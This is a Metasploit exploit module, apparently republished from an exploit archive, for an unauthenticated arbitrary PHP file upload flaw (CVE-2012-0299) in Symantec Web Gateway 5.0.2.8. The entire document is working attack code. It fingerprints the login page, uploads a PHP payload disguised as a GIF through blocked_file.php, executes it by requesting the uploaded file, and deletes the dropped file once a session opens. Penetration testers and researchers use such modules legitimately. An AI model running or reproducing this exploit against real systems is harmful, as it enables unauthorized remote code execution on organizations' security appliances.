Symantec Web Gateway 5.0.2.8 Arbitrary PHP File Upload Vulnerability

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Symantec Web Gateway 5.0.2.8 Arbitrary PHP File Upload Vulnerability",  
'Description' => %q{  
This module exploits a file upload vulnerability found in Symantec Web Gateway's  
HTTP service. Due to the incorrect use of file extensions in the upload_file()  
function, this allows us to abuse the spywall/blocked_file.php file in order to  
upload a malicious PHP file without any authentication, which results in arbitrary  
code execution.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Tenable Network Security', # Vulnerability Discovery  
'juan vazquez' # Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2012-0299' ],  
[ 'OSVDB', '82025' ],  
[ 'BID', '53443' ],  
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-091' ],  
[ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00' ]  
],  
'Payload' =>  
{  
'BadChars' => "\x00"  
},  
'DefaultOptions' =>  
{  
'ExitFunction' => "none"  
},  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
['Symantec Web Gateway 5.0.2.8', {}],  
],  
'Privileged' => false,  
'DisclosureDate' => "May 17 2012",  
'DefaultTarget' => 0))  
end  
  
  
def check  
res = send_request_raw({  
'method' => 'GET',  
'uri' => '/spywall/login.php'  
})  
  
if res and res.body =~ /\<title\>Symantec Web Gateway\<\/title\>/  
return Exploit::CheckCode::Detected  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def on_new_session(client)  
if client.type == "meterpreter"  
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")  
client.fs.file.rm("temp.php")  
else  
client.shell_command_token("rm temp.php")  
end  
end  
  
def exploit  
uri = target_uri.path  
uri << '/' if uri[-1,1] != '/'  
  
peer = "#{rhost}:#{rport}"  
payload_name = Rex::Text.rand_text_alpha(rand(10) + 5) + '.php'  
before_filename = rand_text_alpha(rand(10) + 5)  
after_filename = rand_text_alpha(rand(10) + 5)  
  
post_data = Rex::MIME::Message.new  
post_data.add_part("true", nil, nil, "form-data; name=\"submitted\"")  
post_data.add_part(before_filename, "application/octet-stream", nil, "form-data; name=\"before_filename\"")  
post_data.add_part(after_filename, "application/octet-stream", nil, "form-data; name=\"after_filename\"")  
post_data.add_part("<?php #{payload.encoded} ?>", "image/gif", nil, "form-data; name=\"new_image\"; filename=\"#{payload_name}\"")  
  
print_status("#{peer} - Sending PHP payload (#{payload_name})")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "#{uri}spywall/blocked_file.php",  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
'data' => post_data.to_s  
})  
  
# If the server returns 200 and the body contains the name  
# of the default file, we assume we uploaded the malicious  
# file successfully  
if not res or res.code != 200 or res.body !~ /temp.php/  
print_error("#{peer} - File wasn't uploaded, aborting!")  
return  
end  
  
print_status("#{peer} - Executing PHP payload (#{payload_name})")  
# Execute our payload  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => "#{uri}spywall/images/upload/temp/temp.php"  
})  
  
# If we don't get a 200 when we request our malicious payload, we suspect  
# we don't have a shell, either. Print the status code for debugging purposes.  
if res and res.code != 200  
print_status("#{peer} - Server returned #{res.code.to_s}")  
end  
end  
  
end  
`